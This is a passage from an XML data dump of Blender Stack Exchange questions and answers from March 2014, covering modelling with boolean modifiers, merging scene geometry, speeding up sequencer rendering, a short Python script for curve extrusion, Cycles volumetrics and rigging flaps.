  <row Id="7732" PostTypeId="2" ParentId="7718" CreationDate="2014-03-13T04:42:16.140" Score="3" Body="&lt;p&gt;The simplest method would be to use a bolean modifier:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add Sphere&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add Cone&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Modifiers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select Generate-&gt;Boolean&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Operation -&gt; Union&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Object -&gt; Cone&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pFxhV.png&quot; alt=&quot;Boolean Modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To distribute 5 cones around a point:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create Cone&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move cone above rotation point (0,0,0)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into edit mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add -&gt; Spin&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Set Center of rotation (0,0,0)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Angle -&gt; 360&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Axis -&gt; X -&gt; non-zero&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pxu3e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2454" LastEditorUserId="2454" LastEditDate="2014-03-13T04:52:16.043" LastActivityDate="2014-03-13T04:52:16.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7733" PostTypeId="1" AcceptedAnswerId="7737" CreationDate="2014-03-13T06:09:23.513" Score="1" ViewCount="1825" Body="&lt;p&gt;I import a texts as an svg file into Blender. I then need to extrude and add a bevel into it. How can I do this with a python script?&lt;/p&gt;&#xA;" OwnerUserId="2785" LastEditorUserId="20" LastEditDate="2014-03-13T13:03:19.487" LastActivityDate="2014-03-13T14:29:27.233" Title="How to change value of object data property by using python script?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7735" PostTypeId="1" CreationDate="2014-03-13T12:22:50.110" Score="10" ViewCount="26819" Body="&lt;p&gt;I would like to have all the geometry of a scene merged in one mesh. It should include curves, fonts, group instances, particles, with applied modifiers, etc...&#xA;&lt;code&gt;obj.to_mesh&lt;/code&gt; doesn't work for group instances for example.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="12" LastEditDate="2014-03-13T18:26:51.800" LastActivityDate="2015-12-02T13:42:44.583" Title="How to merge all scene geometry into a single mesh?" Tags="&lt;workflow&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7736" PostTypeId="2" ParentId="7735" CreationDate="2014-03-13T12:36:56.180" Score="12" Body="&lt;p&gt;First make all duplis real, then convert all to mesh and join.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Object -&gt; Apply -&gt; Make Duplicates Real&lt;/li&gt;&#xA;&lt;li&gt;Object -&gt; Convert to -&gt; Mesh &lt;em&gt;(This applies mesh modifiers too)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the base object to join into (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Object -&gt; Join&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Shorthand: &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; -&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, &lt;kbd&gt;M&lt;/kbd&gt; -&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; -&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, You might want to first un-hide all objects, view all layers and make any linked data local too, thats if you want to apply to the entire scene and not just what you see.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="3710" LastEditDate="2015-12-02T13:42:44.583" LastActivityDate="2015-12-02T13:42:44.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7737" PostTypeId="2" ParentId="7733" CreationDate="2014-03-13T13:47:58.307" Score="1" Body="&lt;p&gt;Assuming you want to add extrude/bevel to you Curve object :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your curves and run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obs = bpy.context.selected_objects&#xA;&#xA;for ob in obs:&#xA;    if ob.type == 'CURVE':&#xA;        curve = ob.data&#xA;        curve.dimensions = &quot;2D&quot;&#xA;        curve.offset = 0            # set offset value&#xA;        curve.extrude = 0           # set extrude value&#xA;        curve.bevel_depth = 0       # set bevel depth value&#xA;        curve.bevel_resolution = 0  # set bevel resolution&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2788" LastEditorUserId="1363" LastEditDate="2014-03-13T14:29:27.233" LastActivityDate="2014-03-13T14:29:27.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7738" PostTypeId="1" CreationDate="2014-03-13T15:05:46.197" Score="26" ViewCount="21154" Body="&lt;p&gt;I'm putting together a video from the VSE. In the sequencer window it is rendering and scrubbing at near realtime yet during output it is taking around 3x longer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frames are taking 0.13 seconds each whilst the CPU is only utilised around 20%. I am rendering onto an SSD and using H.264 format 1280x720. Tile size options etc appear to have no or very little effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short - is there any method to speed up the rendering of frames from the VSE?&lt;/p&gt;&#xA;" OwnerUserId="904" LastActivityDate="2021-03-09T00:29:27.050" Title="How to make VSE render faster?" Tags="&lt;performance&gt;&lt;video-sequence-editor&gt;" AnswerCount="7" CommentCount="7" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="7739" PostTypeId="1" AcceptedAnswerId="7743" CreationDate="2014-03-13T17:03:31.610" Score="2" ViewCount="650" Body="&lt;p&gt;I want to transform a text as seen in &lt;a href=&quot;https://www.youtube.com/watch?v=IgBwmTTpark&amp;amp;index=26&amp;amp;list=PL-QUX2ESuZtKJBnkdTOvjJ5eupC7xDYb8&quot; rel=&quot;nofollow&quot;&gt;this video&lt;/a&gt; from 0:00 to 0:03.&#xA;Can anyone help me?&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="2217" LastEditDate="2014-04-17T16:15:52.153" LastActivityDate="2014-04-17T16:15:52.153" Title="Twist Text-Effect" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7740" PostTypeId="2" ParentId="7739" CreationDate="2014-03-13T17:36:22.607" Score="5" Body="&lt;p&gt;Check out these two amazing addons by Atom:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?219404-AddOn-RE-Lay-%28Updated-For-Blender-2-66%29&quot;&gt;[AddOn] RE:Lay (Updated For Blender 2.66)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?245115-AddOn-RE-Phrase-1-3-for-Blender-2-6-1-%28CAPs-Kerning-and-More!%29&quot;&gt;[AddOn] RE:Phrase+ 1.3 for Blender 2.6.1 (CAPs,Kerning and More!)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-13T17:36:22.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7741" PostTypeId="1" CreationDate="2014-03-13T17:44:55.133" Score="2" ViewCount="268" Body="&lt;p&gt;I've been using the new Cycles Baking branch that Dalai Felinto is working on and have noticed that when adding textures to materials, the render time goes up substantially when the textures are very large such as 2048x2048 or higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, for the object to render fast then the textures that are applied to the object must first be scaled down to something more reasonable like 1024x1024.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This breaks the workflow and makes managing textures difficult since having multiple copies of textures at various resolutions can be difficult.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alright so to the point, I would like to be able to load in large textures but to have Cycles recognize them as smaller than they really are.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally there would be a node that has various texture dimensions which can be specified and connected to the image Texture node but I do not see one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the compositor has something like this but apparently, for now, not Cycles.  Does anyone know of a work around that can help with this? &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-03-13T21:33:21.313" LastActivityDate="2016-06-13T03:00:05.973" Title="Is it possible to specify texture dimensions for Cycles nodes" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7742" PostTypeId="2" ParentId="7718" CreationDate="2014-03-13T19:18:09.690" Score="4" Body="&lt;p&gt;Another method:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a sphere (both types will work).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cylinder with five verts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P0Cp7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a boolean modifier to the sphere and select the cylinder as the object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LTWwh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scaling the cylinder on the X and Y (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;) axes will change the radii of the flatten areas.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply the modifier and select the flat faces (the fastest was is probably by selecting one and pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;&gt; Area&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jajCi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; and the select the center vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yFqYY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale the vertices out (&lt;kbd&gt;S&lt;/kbd&gt;). Then optionally set shading to smooth and add an edge split modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rZE88.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-13T19:18:09.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7743" PostTypeId="2" ParentId="7739" CreationDate="2014-03-13T19:36:41.770" Score="5" Body="&lt;h1&gt;Curve modifier&lt;/h1&gt;&#xA;&lt;p&gt;If you don't mind the letters being deformed, then you can use a curve modifier:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a path (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Curve &amp;gt; Path&lt;/em&gt;) and change the tilt of the last control vertex to 90°&lt;br /&gt;&#xA;(&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;&amp;gt;&lt;kbd&gt;90&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a curve modifier to the text and select the path as the object.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O2GZQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Animate the path object sliding past.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lpiCZ.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-13T19:36:41.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7744" PostTypeId="1" CreationDate="2014-03-13T19:48:02.097" Score="10" ViewCount="3044" Body="&lt;p&gt;Is there a way to render trails behind particles in cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using hair particles with &lt;em&gt;Use force field weights for growing&lt;/em&gt; enabled and a turbulence force-field, however the trails become unstable after a point:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hJgGQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-12-16T14:06:07.423" Title="Particle trails in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7745" PostTypeId="1" AcceptedAnswerId="7746" CreationDate="2014-03-13T20:19:51.327" Score="7" ViewCount="2825" Body="&lt;p&gt;I'm using Cycles to make a procedural texture on an object, wanting to use the distance from an Empty in part of the calculation.  I will use several Empties, in fact.  Which node can provide this distance?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I'd also like the distance from a line, or other geometric measures involving objects other than the one I'm texturing.&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2017-04-03T01:41:22.650" Title="Cycles Node to tell Distance from an Empty" Tags="&lt;cycles-render-engine&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7746" PostTypeId="2" ParentId="7745" CreationDate="2014-03-13T21:17:06.757" Score="12" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Drivers&lt;/em&gt;&lt;/a&gt; to do this.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a value node, then right click on the number button and select &lt;em&gt;Add Driver&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nTFOM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Graph editor&lt;/em&gt;, switch to &lt;em&gt;drivers&lt;/em&gt; in the header:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sxqU2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the driver on the left panel, then set it to &lt;em&gt;Sum values&lt;/em&gt; or &lt;em&gt;Averaged value&lt;/em&gt; to avoid your driver being blocked by the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers#Troubleshooting&quot; rel=&quot;noreferrer&quot;&gt;python security features&lt;/a&gt;. Then set the variable type to &lt;em&gt;Distance&lt;/em&gt; and select the empty and the object to which the material is assigned. &lt;a href=&quot;https://blender.stackexchange.com/q/7292/599&quot;&gt;Unfortunately there doesn't seem to be a way to reference the object(s) to which the material is assigned without specifying them individually with separate drivers&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iAhQe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-13T21:17:06.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7747" PostTypeId="1" AcceptedAnswerId="7749" CreationDate="2014-03-13T21:51:13.387" Score="2" ViewCount="2721" Body="&lt;p&gt;I would like to press &lt;kbd&gt;RMB&lt;/kbd&gt; and select not only the vertices/edge/faces on the front side, but the back side as well. I'm convinced this effect must be implemented, but I've been unable to find it or google for the answer.&lt;/p&gt;&#xA;" OwnerUserId="2129" LastEditorUserId="599" LastEditDate="2014-03-13T21:57:07.840" LastActivityDate="2014-03-14T00:05:51.610" Title="How to select with an &quot;xray&quot; sort of effect?" Tags="&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7748" PostTypeId="2" ParentId="7747" CreationDate="2014-03-13T21:51:13.387" Score="2" Body="&lt;p&gt;Actually as I was writing this question, I found one method by pushing &lt;kbd&gt;Z&lt;/kbd&gt; for wireframe mode.&lt;/p&gt;&#xA;" OwnerUserId="2129" LastEditorUserId="12" LastEditDate="2014-03-14T00:05:42.533" LastActivityDate="2014-03-14T00:05:42.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7749" PostTypeId="2" ParentId="7747" CreationDate="2014-03-13T21:53:14.667" Score="3" Body="&lt;p&gt;You can disable &lt;em&gt;Limit Selection to visible&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SbxKl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12" LastEditDate="2014-03-14T00:05:51.610" LastActivityDate="2014-03-14T00:05:51.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7750" PostTypeId="2" ParentId="7738" CreationDate="2014-03-13T23:13:11.863" Score="4" Body="&lt;p&gt;One common reason for the sequencer to slow down is editing video at a different resolution, for fast editing make sure the input and output sizes are the same. &lt;em&gt;(even one pixel difference will make a significant slowdown)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update, Prefetch option has been removed:&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Another way to speed up things is by enabling pre-fetch frames: &lt;strong&gt;*&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;User Prefs -&amp;gt; System -&amp;gt; Sequencer/Clip Editor&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This will use multiple threads to evaluate frames in advance.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you have enough memory you could also increase the cache limit, which is accessed from the same place.&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;Warning: There is a bug with &lt;em&gt;pre-fetch&lt;/em&gt; which is why its disabled by default, any animated sequence strip values (animated opacity for example), won't be correctly taken into account when pre-fetching, however this may not be important in many cases, and crossfades avoid this issue. Just worth noting.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The pre-fetch option was added before Blender's animation system re-write, and the 2 don't work correctly together.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-01-04T10:00:50.810" LastActivityDate="2016-01-04T10:00:50.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7751" PostTypeId="1" AcceptedAnswerId="7756" CreationDate="2014-03-14T00:22:39.737" Score="6" ViewCount="1758" Body="&lt;p&gt;I have modeled a simple air plane. It has flaps. I would like to easily animate the flaps. THe flaps are part of the plane mesh. How can I rig the flaps so that I have a single control for the flaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wnhjv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-14T17:24:29.667" Title="How to rig flaps" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7752" PostTypeId="1" AcceptedAnswerId="8572" CreationDate="2014-03-14T02:18:53.297" Score="1" ViewCount="5254" Body="&lt;p&gt;I went onto blender.org and saw a Release Candidate for Blender 2.7 came out. In the description it seems the long awaited volumetric shading in cycles has been released. From what it sounds like is it allows you to make smoke and clouds in cycles. I tried the quick smoke and it has the same thing where the domain appears as a solid cube, and not invisible. What am I doing wrong?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tx8Fg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CK0DH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2014-04-15T10:33:43.910" Title="RC 2.7 Blender/Volumetric Shading Cycles" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7753" PostTypeId="2" ParentId="7752" CreationDate="2014-03-14T02:27:35.037" Score="4" Body="&lt;p&gt;Smoke rendering is still not quite possible in 2.7, simply because there is no way to put the smoke voxel data into a cycles shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;target for 2.71&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For 2.71, the following features are planned to be worked on:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Volume rendering: smoke / voxel textures, better sampling, camera in volume&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, it is possible to render volumes based on textures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Afgpb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-03-14T06:55:37.353" LastActivityDate="2014-03-14T06:55:37.353" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7754" PostTypeId="1" CreationDate="2014-03-14T03:28:09.660" Score="2" ViewCount="1323" Body="&lt;p&gt;I'm trying to make a loop cut slide along a face and snap to a vertex. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even though I have &quot;snap to vertex&quot; mode enabled, the loop cut slides on the face only in increments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong, or is this a bug, or must I first place a loop cut, then G to grab it and drag it to snap to the vertex?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-03-16T03:40:51.023" Title="Can loop cuts be snapped to anything other than increments?" Tags="&lt;mesh&gt;&lt;editing&gt;&lt;snapping&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7755" PostTypeId="2" ParentId="6835" CreationDate="2014-03-14T06:47:00.760" Score="17" Body="&lt;p&gt;Since the &lt;a href=&quot;https://developer.blender.org/rB01df756bd10709bb707d4f88f14c50e5680d05a5&quot; rel=&quot;nofollow noreferrer&quot;&gt;initial commit in January 2014&lt;/a&gt;, cycles has had volume support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;get a development version&lt;/a&gt; or any version newer than 2.70 to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To render clouds with it, try sculpting a cloud shape (dynamic topology is useful) or modeling a low poly cloud with a subsurf and a displace modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gFN42.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smoke simulations look better, but will require more computation time to be baked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the cloud material, use a volume scatter node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TjAtq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/heXFh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Make sure you set the scattering bounces pretty high in &lt;em&gt;Render settings &gt; Light paths&lt;/em&gt; if you want bright, fluffy clouds.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-10-30T21:24:32.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7756" PostTypeId="2" ParentId="7751" CreationDate="2014-03-14T08:00:41.520" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add a bone object, place it so that the header is on the hinge axis.&lt;/li&gt;&#xA;&lt;li&gt;First select the mesh object, then hold &lt;kbd&gt;Shift&lt;/kbd&gt; and select the bone, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &gt; With Empty Groups.&lt;/li&gt;&#xA;&lt;li&gt;Select all vertices on the flap, Click &lt;strong&gt;Assign&lt;/strong&gt; on the &lt;em&gt;Vertex Groups&lt;/em&gt; panel, so that the flap will be singly controlled by the bone.&lt;/li&gt;&#xA;&lt;li&gt;Fore more flaps, you need to add more bones for the armature in step 1.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hx0YI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c3WRX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: You need to enter &lt;strong&gt;Pose Mode&lt;/strong&gt; to control the bone(s). &lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-14T17:24:29.667" LastActivityDate="2014-03-14T17:24:29.667" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7757" PostTypeId="1" AcceptedAnswerId="7759" CreationDate="2014-03-14T09:03:18.867" Score="6" ViewCount="2116" Body="&lt;p&gt;I'm using planes as labels on a map over which the camera makes a path. The problem is that if I simply have flat labels they don't look good when the camera is low (blue dots in the animation). With the track to constraint I can make the labels follow the camera (red dots in animation).  The problem is that the labels on the sides also rotate along their Z axis which I don't want. I want the text to always be horizontal wrt the camera, like the labels do in Google Earth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AtzMb.gif&quot; alt=&quot;Testing labels animation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2014-03-14T09:29:48.627" Title="Planes rotating to face the camera, but only along one axis" Tags="&lt;animation&gt;&lt;constraints&gt;" AnswerCount="1" 